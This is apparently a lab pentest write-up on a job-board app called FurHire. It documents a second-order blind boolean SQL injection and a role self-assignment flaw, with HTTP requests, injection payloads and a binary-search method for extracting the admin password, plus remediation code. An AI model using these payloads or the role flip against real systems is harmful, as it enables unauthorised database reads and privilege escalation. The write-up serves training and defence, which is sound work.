FurHire: Second-Order Blind Boolean SQLi + Role Self-Assignment
Part 1 — Pentest Report
Executive Summary
FurHire is a job-board application on the BugForge platform built on Node.js + Express with Socket.io for real-time updates, JWT (HS256) authentication, and a SQLite backend. The app exposes two user roles — recruiter and user (seeker) — with distinct API surfaces for each.
Testing confirmed two findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Second-order blind boolean SQL injection via stored status value |
High | 7.1 | CWE-89 | PUT /api/applications/:id/status (sink) → GET /api/my-applications (oracle) |
| F2 | Role self-assignment at registration | Medium | 6.5 | CWE-915, CWE-269 | POST /api/register |
F1 is a second-order SQL injection: the status string from a recruiter’s PUT /api/applications/:id/status is stored verbatim, then on the seeker-side read at GET /api/my-applications it is evaluated as part of a SQL expression wrapped in single quotes. A literal string reflects verbatim, but accepted' or '1'='1 reflects as "1" and accepted' or '1'='2 reflects as "0" — a clean boolean oracle rendered directly in the JSON response, no timing and no error surface required. F2 is the enabler: POST /api/register trusts the role field from the request body, so an attacker can self-assign the recruiter role and reach the PUT sink without any invitation or admin approval. Chained, F1 + F2 give an unauthenticated attacker full database read; extracted the admin user’s password (bug{TthEMOnLhhblwaJ3ual8s6TZ9yWSwqTV}, 37 chars) via binary-search in ~25 seconds.
Objective
Recover the lab flag — the admin user’s password in the users table — on the BugForge “FurHire” lab.
Scope / Initial Access
# Target Application
URL: https://lab-1776625748662-cseaat.labs-app.bugforge.io
# Auth
POST /api/register → {role, username, email, full_name, password} → JWT HS256
POST /api/login → {username, password} → JWT HS256
payload: {"id":N, "username":"...", "role":"recruiter|user", "iat":...}
Authorization: Bearer <jwt> on protected endpoints
# Test accounts used
recruiter (id=7, role=recruiter) — created via role flip in register body (F2)
seeker (id=8, role=user) — created via default register flow
Self-registration is open. Roles are embedded directly in the issued JWT ("role":"recruiter" vs "role":"user"), and the server uses the JWT’s role claim to gate recruiter-only endpoints. No admin login flow is exposed — the admin record lives in the users table and its password IS the lab flag.
Reconnaissance — Role Surface Mapping and Reflection Check
The UI presents two signup flows: a seeker path (/register) and a recruiter path (/register?role=recruiter). Both submit to the same POST /api/register endpoint with the role selection carried inside the JSON body. That observation alone motivated F2 as the first test.
After acquiring both role JWTs, API surface was walked role-by-role in Caido:
- Recruiter endpoints —
PUT /api/company,POST /api/jobs,GET /api/jobs/:id/applicants,PUT /api/applications/:id/status. The last one accepts a free-formstatusstring with no observed allow-list. - Seeker endpoints —
PUT /api/profile,POST /api/jobs/:id/apply,GET /api/my-applications. The last one returns a JOINed row that includes thestatusfield stored by the recruiter. - Reflection check — setting
{"status":"accepted"}as recruiter produced"status":"accepted"on both read paths (recruiter’s/applicantsview AND seeker’s/my-applicationsview). That made the seeker-side read a candidate for second-order injection: a user-controlled string was written by one role, then read back literally by a different role through a different query. - Stack fingerprint —
X-Powered-By: Express, Socket.io handshake traffic, and JWTalg: HS256. SQLite was inferred from later probe behavior (see F1 Description).
Application Architecture
| Component | Detail |
|---|---|
| Frontend | SPA (role-aware routes under /register, /dashboard, /jobs) |
| Backend | Node.js + Express (X-Powered-By: Express) |
| Real-time | Socket.io (polling + websocket transport observed on handshake) |
| Auth | JWT HS256, Authorization: Bearer ...; payload {id, username, role, iat} |
| Database | SQLite — confirmed via substr() syntax working and integer 0/1 boolean coercion in reflection |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Role carried in body — self-assignable (F2) |
| /api/login | POST | No | Returns JWT HS256 |
| /api/jobs | GET | No | List all jobs |
| /api/company | PUT | Recruiter | Set up company record |
| /api/jobs | POST | Recruiter | Create job posting |
| /api/jobs/:id/applicants | GET | Recruiter | List applicants for own job; reflects stored status literally (not as oracle) |
| /api/applications/:id/status | PUT | Recruiter | Vulnerable sink — stores status verbatim (F1) |
| /api/profile | PUT | Seeker | Create seeker profile |
| /api/jobs/:id/apply | POST | Seeker | Submit application |
| /api/my-applications | GET | Seeker | Oracle — reflects stored status as SQL expression result (F1) |
Known Users (recovered via F1)
| Username | ID | Role |
|---|---|---|
| admin | (unknown) | admin |
| recruiter | 7 | recruiter (test account) |
| seeker | 8 | user (test account) |
Attack Chain Visualization
┌────────────────────────────────────────────────────────────────────┐
│ [attacker — unauthenticated] │
│ │
│ 1. POST /api/register {"role":"recruiter", ...} │
│ └── F2: role trusted from body → recruiter JWT issued │
│ │
│ 2. PUT /api/company → company record created │
│ POST /api/jobs → job id 5 created │
│ │
│ 3. POST /api/register (default role "user") → seeker JWT │
│ POST /api/jobs/5/apply (as seeker) → application id 1 │
│ │
│ 4. (as recruiter) PUT /api/applications/1/status │
│ body: {"status": "accepted' OR <probe>"} │
│ └── stored verbatim — no status allow-list │
│ │
│ 5. (as seeker) GET /api/my-applications │
│ └── F1: stored value evaluated as SQL expression │
│ status in response = "1" (TRUE) or "0" (FALSE) │
│ │
│ 6. Binary-search extraction of admin.password (37 chars) │
│ └── ~260 requests, ~25s total │
│ │
│ ▼ │
│ [flag: bug{TthEMOnLhhblwaJ3ual8s6TZ9yWSwqTV}] │
└────────────────────────────────────────────────────────────────────┘
Findings
F1 — Second-order blind boolean SQL injection via stored status value
Severity: High
CVSS v3.1: 7.1 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Endpoint (sink): PUT /api/applications/:id/status
Endpoint (oracle): GET /api/my-applications
Authentication required: Yes — recruiter JWT for the sink, seeker JWT (as the application owner) for the oracle. Combined with F2, both roles are self-registerable.
Description
The status value from a recruiter’s PUT /api/applications/:id/status is stored verbatim — no allow-list, no length limit, no character filter. On the seeker-side read at GET /api/my-applications, the stored string appears inside a SQL expression wrapped in single quotes, where the database evaluates the expression and the result is returned as the status field in the JSON response. This behavior is consistent with the stored value being inlined between single quotes into a SELECT expression (the exact query string is not directly observable).
Three observations pin the mechanic:
- A literal string (
accepted) round-trips verbatim: response"status":"accepted". accepted' or '1'='1produces response"status":"1"— the closing'appended by the wrapping query completes a valid boolean expression that evaluates to TRUE. SQLite renders the boolean result as integer1.accepted' or '1'='2produces response"status":"0"— same mechanic, FALSE branch.
SQLite is identified by the integer boolean coercion (0/1 rendering of a boolean expression result) and by substr(col, i, 1) working in extraction probes. The 0/1 rendering also gives a ready-made binary oracle without needing timing or errors.
Impact
Full read of any table the application database user can access. The admin user’s password column was extracted in ~25 seconds using a 37-character binary search against a 65-character safe charset ([-0-9A-Z_a-z{}]). The same oracle supports arbitrary SELECT subqueries, so credential dumps, session tokens, and any other stored secret are reachable. Write impact was not tested in this engagement but is plausible given the injection shape (SQLite supports chained statements via ; and UPDATE/INSERT via RETURNING in recent versions).
Chained with F2 (which lets any unauthenticated user self-issue a recruiter JWT), this becomes effectively pre-authentication full database read.
Reproduction
Step 1 — Register as recruiter via role flip (depends on F2)
POST /api/register HTTP/1.1
Host: lab-1776625748662-cseaat.labs-app.bugforge.io
Content-Type: application/json
{"role":"recruiter","username":"recruiter","email":"r@x","full_name":"R","password":"p"}
Response: 200 OK, JWT with "role":"recruiter". Save as RECRUITER_JWT.
Step 2 — Create company and job
PUT /api/company HTTP/1.1
Authorization: Bearer <RECRUITER_JWT>
Content-Type: application/json
{"name":"acme","description":"x","website":"https://x"}
Response: 200 OK.
POST /api/jobs HTTP/1.1
Authorization: Bearer <RECRUITER_JWT>
Content-Type: application/json
{"title":"x","description":"x","location":"x","salary":0}
Response: 200 OK, {"id":5,...}. Job id 5.
Step 3 — Register a second account as seeker and apply to job 5
POST /api/register HTTP/1.1
Content-Type: application/json
{"role":"user","username":"seeker","email":"s@x","full_name":"S","password":"p"}
Response: 200 OK, seeker JWT. Save as SEEKER_JWT.
POST /api/jobs/5/apply HTTP/1.1
Authorization: Bearer <SEEKER_JWT>
Content-Type: application/json
{}
Response: 200 OK, {"id":1,...}. Application id 1.
Step 4 — Baseline reflection (as recruiter)
PUT /api/applications/1/status HTTP/1.1
Authorization: Bearer <RECRUITER_JWT>
Content-Type: application/json
{"status":"accepted"}
Then (as seeker):
GET /api/my-applications HTTP/1.1
Authorization: Bearer <SEEKER_JWT>
Response: application 1 has "status":"accepted". Literal reflection confirmed.
Step 5 — TRUE branch probe
PUT /api/applications/1/status
Authorization: Bearer <RECRUITER_JWT>
{"status":"accepted' or '1'='1"}
Then GET /api/my-applications as seeker. Response: application 1 has "status":"1". SQL evaluation confirmed.
Step 6 — FALSE branch probe
PUT /api/applications/1/status
{"status":"accepted' or '1'='2"}
Response (seeker read): "status":"0". Oracle differentiation confirmed.
Step 7 — Password length Payload for the sink:
accepted' OR (SELECT length((SELECT password FROM users WHERE username='admin')))={n} AND '1'='1
Scan n ∈ [1, 80]. Oracle returns "1" at n = 37.
Step 8 — Per-character binary search Payload:
accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),{i},1))<='{c}
For each position i ∈ [1, 37], binary-search c over the safe charset [-0-9A-Z_a-z{}] (65 chars, ~7 probes per position via <=). Full extraction completes in ~260 requests and ~25 seconds with the end-to-end tool at tools/extract_flag.py in the engagement directory.
Result: bug{TthEMOnLhhblwaJ3ual8s6TZ9yWSwqTV} (the lab flag).
Remediation
Fix 1 — Parameterise the seeker-side SELECT
// BEFORE (Vulnerable — stored string inlined into SQL expression)
const sql = `SELECT ..., '${row.status}' AS status FROM applications ... `;
// AFTER (Secure — status treated as column value, not expression text)
const sql = `SELECT ..., status FROM applications ... `;
// Return the column value directly. If a display transformation is needed,
// do it in application code after the query, not inside the SQL string.
Fix 2 — Allow-list status values on PUT (defence in depth)
// In the PUT handler for /api/applications/:id/status
const ALLOWED_STATUSES = new Set(['pending', 'accepted', 'rejected']);
if (!ALLOWED_STATUSES.has(req.body.status)) {
return res.status(400).json({ error: 'Invalid status value' });
}
Additional recommendations:
- Audit every SQL query that consumes user-stored values for the same inlining pattern — the sink→oracle is cross-role, which means a code review that only looks at “where does user input enter the query” at write time can miss it. The vulnerable read path is three layers of indirection away from the untrusted write.
- If a framework ORM or query builder is in use, enforce its use repo-wide. Any raw-SQL or template-literal query should be flagged by lint.
- Add server-side output schema validation on read endpoints. A
statusfield that returns"1"when the enum is{pending, accepted, rejected}should fail validation and log. - Consider storing sensitive secrets (such as admin credentials) outside the
userstable or in a column that is never selected by JOINed read queries.
F2 — Role self-assignment at registration
Severity: Medium
CVSS v3.1: 6.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-269 (Improper Privilege Management)
Endpoint: POST /api/register
Authentication required: No
Description
POST /api/register trusts the role field from the request body. The UI steers users to /register?role=recruiter for the recruiter signup flow, but the role choice is carried inside the POST body, not derived server-side from any invitation, verification, or admin-controlled channel. Sending {"role":"recruiter", ...} returns a JWT containing "role":"recruiter" on an attacker-chosen username.
Impact
Unauthenticated attackers can assign themselves the recruiter role, which is intended to be gated behind an offline/business-verified signup flow. Recruiter role unlocks PUT /api/company, POST /api/jobs, GET /api/jobs/:id/applicants, and crucially PUT /api/applications/:id/status — the F1 sink. Without a separate recruiter-onboarding mechanism, the role boundary is effectively cosmetic.
Direct impact in isolation is limited to unauthorized recruiter-role actions (posting fake jobs, reading applicant lists). Indirect impact, via F1, is full database read.
Reproduction
Step 1 — Register with attacker-chosen role
POST /api/register HTTP/1.1
Host: lab-1776625748662-cseaat.labs-app.bugforge.io
Content-Type: application/json
{"role":"recruiter","username":"attacker","email":"a@x","full_name":"A","password":"p"}
Response: 200 OK, body includes a JWT whose decoded payload is:
{"id":7,"username":"attacker","role":"recruiter","iat":1776625842}
Step 2 — Confirm recruiter-only endpoint is reachable
PUT /api/company HTTP/1.1
Authorization: Bearer <ATTACKER_JWT>
Content-Type: application/json
{"name":"acme","description":"x","website":"https://x"}
Response: 200 OK. Recruiter-gated functionality is accessible.
Remediation
Fix 1 — Do not trust the role field at registration
// BEFORE (Vulnerable — role taken from request body)
app.post('/api/register', (req, res) => {
const { username, email, password, full_name, role } = req.body;
db.insert('users', { username, email, password, full_name, role });
// ...issue JWT with role from body
});
// AFTER (Secure — role is server-controlled)
app.post('/api/register', (req, res) => {
const { username, email, password, full_name } = req.body;
// role is hard-coded for self-signup
db.insert('users', { username, email, password, full_name, role: 'user' });
// ...issue JWT with role: 'user'
});
Fix 2 — Separate onboarding for privileged roles
- Recruiter signup should require an invitation token, email-verified domain, or admin approval before the
recruiterrole is set on the account. - If self-service recruiter signup is a product requirement, explicitly allow-list it at the handler and reject any other role string.
Additional recommendations:
- Audit the JWT claims issued at every auth endpoint. Any role / permission claim derived from user-controlled input is a CWE-915 candidate.
- Add integration tests that assert the issued JWT’s role does NOT match an attacker-supplied role field when one shouldn’t be honored.
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control: F2 is a textbook broken access control defect at registration — the app’s role boundary is defined in the UI, not in the server-side registration handler.
- A03:2021 — Injection: F1 is a second-order SQL injection. The untrusted store happens on the recruiter-side write; the injection fires on the seeker-side read.
- A04:2021 — Insecure Design: The sink (
PUT /.../status) and the oracle (GET /my-applications) are cross-role by design — a recruiter writes, a seeker reads. Input validation that only fires at the write boundary has a single-role view of the data lifecycle and misses this class. - A08:2021 — Software and Data Integrity Failures:
statuscrosses a trust boundary between roles without revalidation on read.
Tools Used
| Tool | Purpose |
|---|---|
| Burp Suite | Hand-driven primary testing, request tampering |
| Caido | Parallel re-run to confirm the chain; request history comparison |
tools/extract_flag.py |
End-to-end extractor — calibrate, length scan, binary-search extraction |
References
- CWE-89: SQL Injection
- CWE-915: Mass Assignment
- CWE-269: Improper Privilege Management
- OWASP Top 10 — A03:2021 Injection
- OWASP Top 10 — A01:2021 Broken Access Control
- SQLite
substr()and type-affinity behavior
Part 2 — Notes / Knowledge
Key Learnings
-
Second-order SQL injection is a cross-role search problem, not a cross-endpoint search problem. The write sink and the read oracle live on different API surfaces accessed by different user roles. Any audit that walks endpoints role-by-role will see the write as “just a status update with no query” and the read as “just a SELECT with no user input”. Only by tracing the data lifecycle — who writes the value, who reads it back, what query handles the read — do the two halves meet. Practically: when you find a user-controlled string that gets stored verbatim, always check every read path that touches that column, regardless of which role owns the read.
-
Integer
0/1reflection of a boolean expression is a SQLite fingerprint AND a free oracle. Most other engines (MySQL, PostgreSQL, MSSQL) also coerce booleans in expressions, but SQLite’s type affinity makes it render cleanly as a literal0/1in JSON output, and it’s one of the few engines where a boolean expression result can land in aSELECTcolumn without explicit casting. Seeing"status":"1"when you wroteaccepted' or '1'='1means you already have a working binary oracle — no timing side channel, no error introspection required. Move directly to extraction. -
String-comparison binary search beats per-char equality by ~9× on a 65-char alphabet. The naïve approach is to test each of the 65 characters for equality at each position, ~65 probes per position. Using
substr(...,i,1) <= 'c'with binary search drops it to ~7 probes per position (log₂ 65). No engine-specific functions (ASCII,CHAR,UNICODE) needed — direct char-literal comparison works as long as the charset excludes'and\, which the target’s flag format (bug{...}over[A-Za-z0-9_{}-]) always satisfies. Same technique carries over to any blind-boolean SQLi with a printable-ASCII target. -
Role-in-body at registration is a recurring BugForge pattern. This is the third FurHire/BugForge engagement where a client-steered role choice was trusted server-side. Before any other test, always send a
rolefield inPOST /api/registerand check whether the returned JWT honors it. It’s a five-second probe that unlocks the differentiated-role attack surface. Worth encoding as a default step in the recon checklist rather than discovering it mid-engagement.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Probing GET /api/jobs/:id/applicants (recruiter’s view) with the same stored-status payload |
Response returned the stored string literally ("status":"accepted' or '1'='1") |
That query does not inline the stored value into a SQL expression — the column is selected directly. Only the seeker-side /my-applications read has the inlining pattern. |
(Scope was narrow this round — the first real probe after identifying the reflection hit the injection. No other dead ends to report.)
Tags: #sqli #second-order-sqli #blind-boolean #sqlite #mass-assignment #role-escalation #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-04-19